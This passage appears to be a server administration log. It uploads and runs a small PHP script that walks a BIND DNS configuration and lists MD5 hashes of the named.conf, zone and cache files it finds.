MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 898dd73f80b3ba91e6ebefdd0f36a0d5
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-08-29 23:24:29: Establishing a connection
2025-08-29 23:24:29: 

PUT: /tmp/pkp312127

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-08-29 23:24:30: 

runuser -l bind -s /bin/bash -c '/tmp/pkp312127; rm /tmp/pkp312127'

2025-08-29 23:24:30: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 898dd73f80b3ba91e6ebefdd0f36a0d5
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
